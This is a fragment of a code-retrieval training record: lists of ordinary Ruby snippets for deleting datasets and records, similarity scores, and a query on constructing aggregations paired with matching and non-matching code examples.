ApiError.from_response(resp)\n end\n end", "def destroy\n @dataset.destroy\n respond_to do |format|\n format.html { redirect_to study_path(@dataset.study), notice: 'Dataset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def rm(dataset)\n \"remove dataset name=#{dataset}\"\n end", "def delete_dataset dataset_id, force = nil\n execute do\n service.delete_dataset @project, dataset_id, delete_contents: force\n end\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n @experiment_raw_dataset.destroy\n respond_to do |format|\n format.html { redirect_to experiment_raw_datasets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @qdataset.destroy\n respond_to do |format|\n format.html { redirect_to qdatasets_url, notice: 'Qdataset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @fmr_dataset.destroy\n respond_to do |format|\n format.html { redirect_to fmr_datasets_url, notice: 'Fmr dataset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #FIXME: Double check auth is working for deletion. Also, maybe should only delete if not associated with any experiments.\n @data_file.destroy\n \n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end", "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "def destroy\n \t#chart = Chart.find(params[:chart_id])\n \tchart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n \tdata_set = chart.data_sets.find(params[:id])\n \tdata_set.destroy\n\n respond_with(data_set) do |format|\n format.json { render json: { success: data_set.destroyed? } }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @dataset = Dataset.find(Dataset.decrypt(params[:id]))\n @dataset.works.each do |w|\n Work.check_n_destroy_locations(w)\n w.destroy\n end\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def delete(entity)\n @dataset.delete(entity)\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n #@dataset.destroy\n redirect_to controller: 'management/datasets', action: 'index', site_slug: @site.slug, notice: 'Dataset was successfully destroyed.'\n end", "def delete\n request(:delete)\n end", "def destroy\n @chart = Chart.find(params[:id])\n @chart.chartnodes.destroy_all\n @chart.destroy\n\n respond_to do |format|\n format.html { redirect_to charts_url }\n format.json { head :no_content }\n end\n end", "def _delete_dataset\n this\n end", "def _delete_dataset\n this\n end", "def delete_dataset(dataset_id)\n api(\n @client.delete_dataset(\n @project_id,\n dataset_id\n )\n )\n end", "def delete(context, name)\n res = context.transport.delete_request(context, \"blobstores/#{name}\")\n\n context.err(res.body) unless res.success?\n end", "def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end", "def delete(data_set_name)\n library[data_set_name].delete\n library.delete(data_set_name)\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def delete_model dataset_id, model_id\n execute { service.delete_model @project, dataset_id, model_id }\n end", "def destroy\n scan_procedure_array = (current_user.edit_low_scan_procedure_array).split(' ').map(&:to_i)\n @image_dataset = ImageDataset.where(\"image_datasets.visit_id in (select visit_id from scan_procedures_visits where scan_procedure_id in (?))\", scan_procedure_array).find(params[:id])\n @image_dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_datasets_url) }\n format.xml { head :ok }\n end\n end", "def delete(*uris); end", "def destroy\n @data_file = DataFile.find(params[:id])\n @data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_files_url) }\n format.xml { head :ok }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete(path)\n make_call(mk_conn(path), :delete)\n end", "def deleteDataId(data_of, id)\n url_data = stringGetUrlPath(data_of)\n url_request = \"#{url_data}/#{id}\"\n puts \">>>>>> delete #{data_of} with id:#{id}\"\n deleteData(url_request)\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete_segment_batch(segment_id_array)\n payload = segment_id_array.to_s\n url = \"#{@base_url}/segments_batch\"\n return RestClient::Request.execute(:method => :delete, :url => url, :payload => payload){|response, request, result| response }\n end", "def delete_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def delete_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def destroy\n @dataservice_blob = Dataservice::Blob.find(params[:id])\n authorize @dataservice_blob\n @dataservice_blob.destroy\n\n respond_to do |format|\n format.html { redirect_to(dataservice_blobs_url) }\n format.xml { head :ok }\n end\n end", "def delete_index\n dataset.delete_index\n end", "def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete(*args)\n execute(:delete, *args)\n end", "def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end", "def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def destroy\n @datashows = Datashow.find(params[:id])\n @datashows.destroy\n\n respond_to do |format|\n format.html { redirect_to(datashows_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cluster = Cluster.find(params[:id])\n @cluster.destroy\n\n respond_to do |format|\n format.html { redirect_to(clusters_url) }\n format.xml { head :ok }\n end\n end", "def delete_dataset(file_name)\n cpl_err = GDALDeleteDataset(@gdal_driver_handle, file_name)\n\n cpl_err.to_bool\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @click_data.destroy\n\n head :no_content\n end", "def unlink_dataset(name)\n d = dataset(name)\n return nil if d.nil?\n\n self.metadata[:datasets].delete(name)\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset unlinked: #{d.name}\")\n end\n pull_hook(:on_unlink_dataset, name)\n d\n end", "def destroy\n @diagram = Diagram.find(params[:id])\n @diagram.destroy\n\n respond_to do |format|\n format.html { redirect_to(diagrams_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n authorize! :destroy, @dataset\n @dataset.destroy\n respond_to do |format|\n if current_user\n format.html {redirect_to \"/datasets?q=&#{URI.encode('depositors[]')}=#{current_user.username}\", notice: 'Dataset was successfully deleted.'}\n else\n format.html {redirect_to datasets_url, notice: 'Dataset was successfully deleted.'}\n end\n format.json {head :no_content}\n end\n end", "def destroy\n authorize! :destroy, @dataset\n @dataset.destroy\n respond_to do |format|\n if current_user\n format.html {\n redirect_to \"/datasets?q=&#{CGI.escape('depositors[]')}=#{current_user.username}\",\n notice: \"Dataset was successfully deleted.\"\n }\n else\n format.html { redirect_to datasets_url, notice: \"Dataset was successfully deleted.\" }\n end\n format.json { head :no_content }\n end\n end", "def __remove_cluster_data\n FileUtils.rm_rf arguments[:path_data]\n end", "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @datastore = Datastore.find(params[:id])\n @datastore.destroy\n\n respond_to do |format|\n format.html { redirect_to datastores_url }\n format.json { head :no_content }\n end\n end", "def delete(entity)\n @dataset.delete(\n _serialize(entity)\n )\n end", "def delete\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @datasource.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete\n \n end", "def delete_dataset(datasetId)\n api(api_method: @bq.datasets.delete,\n parameters: { 'datasetId' => datasetId }\n )\n end", "def delete\n\n end", "def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def delete_array_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/arrays/#{args[:arrayId]}\", args)\nend", "def destroy\n @raw_data_file = RawDataFile.find(params[:id])\n @raw_data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(raw_data_files_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.7611086", "0.7611086", "0.7556342", "0.73045534", "0.72367954", "0.7116475", "0.6968973", "0.6787735", "0.6710013", "0.6688224", "0.66880995", "0.66831076", "0.66492313", "0.6611187", "0.6578242", "0.6491182", "0.64718854", "0.64684135", "0.64354557", "0.6430135", "0.6413988", "0.64136237", "0.63911265", "0.6339865", "0.6261666", "0.62500787", "0.62490195", "0.62459207", "0.62286854", "0.62285686", "0.61977947", "0.6180436", "0.6178968", "0.6178346", "0.6169209", "0.61639494", "0.61619073", "0.6147525", "0.6147525", "0.61338997", "0.6125032", "0.6121119", "0.6115352", "0.6104566", "0.609569", "0.6079649", "0.6079649", "0.6079649", "0.6079649", "0.6079108", "0.6069075", "0.60601264", "0.60524505", "0.6046246", "0.60147846", "0.60082495", "0.6006378", "0.59903324", "0.59899", "0.5989443", "0.5985046", "0.597039", "0.59682596", "0.5968148", "0.5966911", "0.5960513", "0.5952277", "0.59477794", "0.59415096", "0.5933066", "0.5929593", "0.5929593", "0.5928521", "0.5927846", "0.59264904", "0.59237367", "0.5915367", "0.59145564", "0.59142804", "0.5910246", "0.59099495", "0.5909504", "0.5906747", "0.5904142", "0.590357", "0.58824784", "0.5876839", "0.5872618", "0.5871308", "0.58675945", "0.58601207", "0.5852706", "0.58483726", "0.58417505", "0.58407915", "0.5839028", "0.5839028", "0.58389795", "0.58386904", "0.5835846" ]
0.75166965
3
Construct a new aggregation
def initialize(model, functions) @model = model @functions = [] functions.each do |field_name, function| @functions << function.prepare(@model, field_name) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aggregation(*args, &block)\n @aggregations ||= AggregationsCollection.new\n @aggregations.update args.first => Aggregation.new(*args, &block)\n self\n end", "def new_aggregate(type,name, value)\n Models::Aggregate.new(\n :type => type,\n :parent_name => assessment_group.display_name,\n :parent_type => 'AssessmentGroup',\n :name => name,\n :value => value\n )\n end", "def aggregation(operation)\n return self unless operation\n clone.tap do |query|\n unless aggregating?\n query.pipeline.concat(query.selector.to_pipeline)\n query.pipeline.concat(query.options.to_pipeline)\n query.aggregating = true\n end\n yield(query.pipeline)\n end\n end", "def aggregate\n @aggregate ||= klass.build.tap do |aggregate|\n aggregate.instance_variable_set(:@id, id)\n aggregate.instance_variable_set(:@local_version, version)\n aggregate.instance_variable_set(:@persisted_version, version)\n events.each { |event| EventApplicator.apply_event!(aggregate, event) }\n end\n end", "def aggregate op, type = :fixnum\n check_closed\n\n aggregation_impl op, type\n end", "def create_aggregate(aggregate)\n raise MethodNotImplemented\n end", "def aggregations\n @aggregations ||= AggregationSet.new\n end", "def aggregate\n klass.collection.group(\n :key => field_list,\n :cond => selector,\n :initial => { :count => 0 },\n :reduce => Javascript.aggregate\n )\n end", "def aggregate(value)\n @query_hash[AGGREGATE][value] = value\n self\n end", "def add_aggregations\n add_collection_aggregation\n add_tag_aggregations\n end", "def aggregate_function\n build_function(super, aggregate_constants)\n end", "def aggregator(agg = nil, opts = EMPTY_HASH)\n @aggregator = if agg.nil? && !defined?(@aggregator)\n Aggregators.default\n elsif agg.respond_to?(:new)\n agg.new(filter: filter, **opts)\n elsif agg\n Aggregators.resolve(agg, filter: filter, **opts)\n else\n @aggregator\n end\n end", "def initialize(collection, criteria, group, unwind=nil)\n @collection, @criteria = collection, criteria\n command[:aggregate] = collection.name.to_s\n command[:pipeline] ||= [{\"$group\" => group}]\n command[:pipeline][0][\"$unwind\"] = \"$#{unwind}\" if unwind\n apply_criteria_options\n end", "def aggregate\n public_send aggregate_name\n end", "def aggregates\n self.class.instance_variable_get(:@aggregates) || {}\n end", "def create_aggregates(db: EventSourcery::Postgres.config.event_store_database,\n table_name: EventSourcery::Postgres.config.aggregates_table_name)\n db.create_table(table_name) do\n uuid :aggregate_id, primary_key: true\n column :version, :bigint, default: 1\n end\n end", "def process_aggregates\n aggregates = new_collection\n\n unless assessment_group.scoring_type == 2 # do except for scoring type 'grades'\n aggregates.push new_aggregate('score','Total Score',@total_score)\n percentage = @total_score.zero? ? nil : ((@total_score / @total_max) * 100).round(2)\n aggregates.push new_aggregate('percentage','Total Percentage', percentage)\n aggregates.push new_aggregate('grade','Overall Grade',overall_grade_set.grade_string_for(percentage)) if overall_grade_set.present?\n end\n\n aggregates\n end", "def apply(_aggregate)\n raise NotImplementedError\n end", "def create_aggregate( name, arity, step, finalize, type=nil )\n case type\n when :numeric\n type = SQLite::API::NUMERIC\n when :text\n type = SQLite::API::TEXT\n when :args\n type = SQLite::API::ARGS\n end\n\n step_callback = proc do |func,*args|\n ctx = SQLite::API.aggregate_context( func )\n step.call( FunctionProxy.new( func, ctx ), *args )\n end\n\n finalize_callback = proc do |func|\n ctx = SQLite::API.aggregate_context( func )\n finalize.call( FunctionProxy.new( func, ctx ) )\n end\n\n SQLite::API.create_aggregate( @handle, name, arity,\n step_callback, finalize_callback )\n\n SQLite::API.function_type( @handle, name, type ) if type\n\n self\n end", "def aggregate\n []\n end", "def aggregate_tags!\n map = \"function() {\n if (!this.#{tags_field}) {\n return;\n }\n\n for (index in this.#{tags_field}) {\n emit(this.#{tags_field}[index], 1);\n }\n }\"\n\n reduce = \"function(previous, current) {\n var count = 0;\n\n for (index in current) {\n count += current[index]\n }\n\n return count;\n }\"\n\n map_reduce_options = { :out => tags_aggregation_collection }.\n merge(tag_aggregation_options)\n collection.master.map_reduce(map, reduce, map_reduce_options)\n end", "def aggregation_params\n params.require(:aggregation).permit!\n end", "def set_aggregation\n @aggregation = Aggregation.find(params[:id])\n end", "def apply(aggregate)\n raise NotImplementedError\n end", "def aggregate name, o, collector\n collector << \"#{name}(\"\n if o.distinct\n collector << \"DISTINCT \"\n end\n collector = inject_join(o.expressions, Arel::Collectors::Sunstone.new, \", \")# << \")\"\n if o.alias\n collector << \" AS \"\n visit o.alias, collector\n else\n collector\n end\n end", "def aggregate(request)\n end", "def add_aggregate_model(model, *keys)\n # {{{\n add_foreign_key_to(model, *keys)\n @aggregate_klasses[model.table_name] = [ model, *keys ]\n @aggregates_tree[model.table_name] = model.__associations__.aggregates_tree\n # Required attributes of aggregated models are not \n # required in this model, as aggregated models are \n # referenced by their pkey only and have to exist \n # in DB already. \n # Thus, the foreign key to an aggregated model is\n # required only: \n keys.flatten.each { |attribute|\n @accessor.__attributes__.set_required(attribute)\n }\n inherit(model)\n end", "def aggregate_sum(aggr)\n sum = {}\n aggr.each do |ts, counterVals|\n sum[ts] = {} unless sum.has_key?ts\n counterVals.each do |obj, count|\n if obj.respond_to?(:enterprise_id)\n eid = obj.public_send(:enterprise_id).to_s\n sum[ts][eid] = sum[ts].fetch(eid, 0) + count\n end\n end\n end\n sum\n end", "def initialize(aggregate_fields)\n raise ArgumentError, \"aggregate_fields must not be empty\" unless aggregate_fields && aggregate_fields.size > 0\n @aggregate_fields_hash = {}\n aggregate_fields.each {|c| @aggregate_fields_hash[c.label.to_s] = c}\n @values_map = {}\n end", "def create\n @generic_table_aggregation = GenericTable::Aggregation.new(params[:generic_table_aggregation])\n\n respond_to do |format|\n if @generic_table_aggregation.save\n format.html { redirect_to @generic_table_aggregation, notice: 'Aggregation was successfully created.' }\n format.json { render json: @generic_table_aggregation, status: :created, location: @generic_table_aggregation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generic_table_aggregation.errors, status: :unprocessable_entity }\n end\n end\n end", "def multiply_aggregation( node, normalized )\n aggregation = Hash.new\n normalized.keys.each do |entity|\n multiplicand = 0\n node['children'].each do |child|\n entity_hash = normalized[entity]\n if entity_hash.nil?\n entity_hash = Hash.new\n end\n if multiplicand == 0\n multiplicand = entity_hash[child['id']]\n else\n multiplicand *= entity_hash[child['id']]\n end\n end\n aggregation[entity] = multiplicand\n end\n aggregation\n end", "def aggregation_database_collection_for(context)\n (@aggregation_database_collection ||= {})[context] ||= Mongo::Collection.new(self.collection.database, aggregation_collection_for(context))\n end", "def aggregate_and_create(oftype, ts = Time.now.floor)\n Octo::Enterprise.each do |enterprise|\n calculate(enterprise.id, oftype, ts)\n end\n end", "def aggregatee_instance(name, strong_config = {})\n aggregator = self\n name.to_s.split('__').each do |aggr|\n aggr = aggr.to_sym\n aggregatee_config = aggregator.aggregatees[aggr]\n raise ArgumentError, \"No aggregatee '#{aggr}' defined for widget '#{aggregator.global_id}'\" if aggregatee_config.nil?\n ::ActiveSupport::Deprecation.warn(\"widget_class_name option is deprecated. Use class_name instead\", caller) if aggregatee_config[:widget_class_name]\n short_widget_class_name = aggregatee_config[:class_name] || aggregatee_config[:widget_class_name]\n raise ArgumentError, \"No class_name specified for aggregatee #{aggr} of #{aggregator.global_id}\" if short_widget_class_name.nil?\n widget_class = \"Netzke::#{short_widget_class_name}\".constantize\n\n conf = weak_children_config.\n deep_merge(aggregatee_config).\n deep_merge(strong_config). # we may want to reconfigure the aggregatee at the moment of instantiation\n merge(:name => aggr)\n\n aggregator = widget_class.new(conf, aggregator) # params: config, parent\n # aggregator.weak_children_config = weak_children_config\n # aggregator.strong_children_config = strong_children_config\n end\n aggregator\n end", "def build\n if %w[avg_first_response_time avg_resolution_time].include?(params[:metric])\n timeseries.each_with_object([]) do |p, arr|\n arr << { value: p[1], timestamp: p[0].in_time_zone(@timezone).to_i, count: @grouped_values.count[p[0]] }\n end\n else\n timeseries.each_with_object([]) do |p, arr|\n arr << { value: p[1], timestamp: p[0].in_time_zone(@timezone).to_i }\n end\n end\n end", "def populate(options={})\n # puts \"PipelinedRolapAggregate::populate #{options.inspect}\"\n @new_records_record = nil\n\n # we need 2 connections\n # one to read, one to write\n self.read_connection = options[:read_connection] if options[:read_connection]\n self.write_connection = options[:write_connection] if options[:write_connection]\n\n # see if the options mean to do new records only\n if(options[:new_records_only])\n # need to know the name of the dimension and field to use to find new only\n @new_records_only = true\n @new_records_dimension = options[:new_records_only][:dimension] || :date\n @new_records_offset = options[:new_records_only][:buffer] || 1\n else\n @new_records_only = false\n end\n\n create_and_populate_aggregate(options)\n end", "def aggregates\n @aggregates\n end", "def replace_aggregate!(&block)\n map! do |op|\n case\n when op.respond_to?(:aggregate?) && op.aggregate?\n yield op\n when op.respond_to?(:replace_aggregate!)\n op.replace_aggregate!(&block) \n else\n op\n end\n end\n self\n end", "def aggregate\n #response = Result.collection.map_reduce(self.map_fn(), _reduce(), :raw => true, :out => {:inline => true}, :query => {:execution_id => id})\n response = Result.where(execution_id: id).map_reduce(self.map_fn(), self.query.reduce).out(inline: true).raw()\n results = response['results']\n if results\n self.aggregate_result = {}\n results.each do |result|\n result = prettify_generated_result(result) if self.query.generated? && result['value']['rereduced']\n self.aggregate_result[result['_id']] = result['value']\n end\n save!\n end\n end", "def aggregate(query)\n client.search(\n index: name,\n body: query\n )\n end", "def initialize(aggregation_path)\n @aggregation_path = aggregation_path\n end", "def aggregations\n @aggregations ||= {}.merge(facet_field_aggregations).merge(facet_query_aggregations).merge(facet_pivot_aggregations).merge(facet_json_aggregations)\n end", "def evolve(entry)\n aggregate = Selector.new(aliases)\n entry.each_pair do |field, value|\n aggregate.merge!(field.to_s => value)\n end\n aggregate\n end", "def aggregation?\n false\n end", "def score_aggregate_node( node, normalized, z_score = true )\n aggregation = Hash.new\n case node['operation']\n when 'SUM'\n aggregation = sum_aggregation( node, normalized )\n when 'DIVIDE'\n aggregation = divide_aggregation( node, normalized )\n when 'DIFFERENCE'\n aggregation = subtract_aggregation( node, normalized )\n when 'MULTIPLY'\n aggregation = multiply_aggregation( node, normalized )\n end\n if z_score\n z_scores = z_score(aggregation)\n normalized.keys.each do |key|\n normalized[key][node['id']] = node['weight'] * z_scores[key]\n end\n normalized\n else\n aggregation\n end\n end", "def aggregate(property, resolution)\n # Look up the date/time dimensions for the resolution.\n date_time_dimensions = date_time_dimensions_for_resolution(resolution)\n\n # Build the timestamp from the date/time dimensions.\n timestamp = Sequel::SQL::NumericExpression.new(:+, *date_time_dimensions).cast(:timestamp).as(:timestamp)\n\n # Build a window function to sum the counts.\n count_window_function = Sequel::SQL::Function.new(:sum, :count).over(partition: date_time_dimensions).as(:count)\n\n # Build the aggregation window functions.\n aggregation_window_functions = AGGREGATIONS.map do |aggregation|\n Sequel::SQL::Function.new(aggregation, :\"#{property}\").over(partition: date_time_dimensions).as(:\"#{aggregation}_#{property}\")\n end\n\n facts_dataset\n .join(:dimension_dates, date: Sequel.cast(:timestamp, :date))\n .join(:dimension_times, time: Sequel.cast(:timestamp, :time))\n .distinct(*date_time_dimensions)\n .select(timestamp, count_window_function, *aggregation_window_functions)\n end", "def each_aggregate(&block)\n if block_given?\n @aggregates.each_function(&block)\n self\n else\n @aggregates.functions\n end\n end", "def filter_agg(field:, value:, &block)\r\n agg = { agg: { filter: { term: { field => value } } } }\r\n base_agg(agg, block)\r\n end", "def new\n @generic_table_aggregation = GenericTable::Aggregation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generic_table_aggregation }\n end\n end", "def get_db_aggregation\n db_data_all = []\n aggregation = @thermostat.readings.pluck('Avg(temperature)', 'Min(temperature)', 'Max(temperature)', 'Avg(humidity)', 'Min(humidity)', 'Max(humidity)', 'Avg(battery_charge)', 'Min(battery_charge)', 'Max(battery_charge)').first\n unless aggregation.empty?\n db_data_all << {\"temperature\" => {\"avg\" => aggregation[0].round(2), \"min\" => aggregation[1], \"max\" => aggregation[2]}}\n db_data_all << {\"humidity\" => {\"avg\" => aggregation[3].round(2), \"min\" => aggregation[4], \"max\" => aggregation[5]}}\n db_data_all << {\"battery_charge\" => {\"avg\" => aggregation[6].round(2), \"min\" => aggregation[7], \"max\" => aggregation[8]}}\n end\n return db_data_all\n end", "def aggregate_after_grouping?; @aggregate_after_grouping; end", "def aggregations_params\n # fields = Topic::Field.joins(:topic).where(:sensit_topics => {:slug => params[:topic_id]}).map(&:key)\n params.require(:report).require(:aggregations).map do |aggregation|\n type = aggregation.delete(:type)\n aggregation[:kind] = type\n aggregation.tap do |whitelisted|\n whitelisted[:name] = aggregation[:name] if aggregation.has_key?(:name)\n whitelisted[:kind] = aggregation[:kind]\n whitelisted[:query] = aggregation[:query] if aggregation.has_key?(:query)\n end\n end\n end", "def create_aggregate_table(base_name, dimension_fields, current_levels, options)\n # puts \"create_aggregate_table start: #{current_levels.inspect}\"\n\n table_name = aggregate_rollup_name(base_name, current_levels)\n table_options = options[:aggregate_table_options] || {}\n\n # # truncate if configured to, otherwise, just pile it on.\n if (options[:truncate] && write_connection.tables.include?(table_name))\n write_connection.drop_table(table_name)\n end\n\n unique_index_columns = []\n index_columns = []\n \n if !write_connection.tables.include?(table_name)\n aggregate_table_options = (options[:aggregate_table_options] || {}).merge({:id => false})\n # puts \"create_table: #{table_name}\"\n write_connection.create_table(table_name, aggregate_table_options) do |t|\n dimension_fields.each_with_index do |pair, i|\n dim = pair.first\n levels = pair.last\n max_level = current_levels[i]\n # puts \"dim.name = #{dim.name}, max = #{max_level}, i = #{i}\"\n levels.each_with_index do |field, j|\n break if (j >= max_level)\n column_options = {:null=>false}\n # unique_index_columns << field.label if (j == (max_level-1))\n\n # if it is a string or text column, then include the limit with the options\n if [:string, :text].include?(field.column_type)\n column_options[:limit] = field.limit\n column_options[:default] = ''\n elsif [:primary_key, :integer, :float, :decimal, :boolean].include?(field.column_type)\n column_options[:default] = 0\n end\n\n unique_index_columns << field.label\n index_columns << field.label\n t.column(field.label, field.column_type, column_options)\n end\n end\n\n aggregate_fields.each do |field|\n af_opts = {}\n\n # By default the aggregate field column type will be a count\n aggregate_type = :integer\n af_opts[:limit] = 8\n\n # But, if type is a decimal, and you do a sum or avg (not a count) then keep it a decimal\n if [:float, :decimal].include?(field.type) && field.strategy_name != :count\n af_opts[:limit] = field.type == :integer ? 8 : field.limit\n af_opts[:scale] = field.scale if field.scale\n af_opts[:precision] = field.precision if field.precision\n aggregate_type = field.column_type\n end\n\n t.column(field.label_for_table, aggregate_type, af_opts)\n end\n\n end\n\n # add index per dimension here (not for aggregate fields)\n index_columns.each{ |dimension_column|\n # puts \"making index for: #{table_name} on: #{dimension_column}\"\n write_connection.add_index(table_name, dimension_column, :name => \"by_#{dimension_column}\")\n }\n\n # Add a unique index for the \n unless unique_index_columns.empty?\n # puts \"making unique index for: #{table_name} on: #{unique_index_columns.inspect}\"\n write_connection.add_index(table_name, unique_index_columns, :unique => true, :name => \"by_unique_dims\") \n end\n\n # puts \"create_aggregate_table end\"\n table_name\n end\n\n end", "def enable_aggregation! &block\n cpc = 'org.apache.hadoop.hbase.coprocessor.AggregateImplementation'\n add_coprocessor! cpc, &block unless has_coprocessor?(cpc)\n end", "def keyValuePairByAggQryRepeatNew(aggregateQueries, bookingColl, byName)\n aggregateQuery1 = aggregateQueries[:query1]\n aggregateQuery2 = aggregateQueries[:query2]\n aggregateQuery3 = aggregateQueries[:query3]\n\n aggregateCursor1 = bookingColl.aggregate(aggregateQuery1)\n aggregateCursor2 = bookingColl.aggregate(aggregateQuery2)\n aggregateCursor3 = bookingColl.aggregate(aggregateQuery3)\n keyArray = []; returnObj1 = {}; returnObj2 = {}; returnObj3 = {}\n uniqueArray1 = []; uniqueArray2 = []; uniqueArray3 = []\n bookingArray1 = []; bookingArray2 = []; bookingArray3 = [] \n newBookingToPrevArray = []; newBookingToMorePrevArray = [] \n dormantBookingToPrevArray = []; dormantBookingToMorePrevArray = []\n uniqueDict1 = {}; uniqueDict2 = {}; uniqueDict3 = {}\n\n aggregateCursor1.each do |doc|\n uniqueArray1 << doc[:_id]\n uniqueDict1[doc[:_id]] = doc[:booking]\n end\n aggregateCursor2.each do |doc|\n uniqueArray2 << doc[:_id]\n uniqueDict2[doc[:_id]] = doc[:booking]\n end\n aggregateCursor3.each do |doc|\n uniqueArray3 << doc[:_id]\n uniqueDict3[doc[:_id]] = doc[:booking]\n end\n\n newToPrevArray = uniqueArray1 - uniqueArray2\n newBookingToPrev = 0.0\n newToPrevArray.each do |element|\n if !uniqueDict1[element].nil?\n newBookingToPrev += uniqueDict1[element]\n end\n end\n #puts \"New Booking to Prev: #{newBookingToPrev}\"\n\n newToMorePrevArray = uniqueArray1 - uniqueArray3\n newBookingToMorePrev = 0.0\n newToMorePrevArray.each do |element|\n if 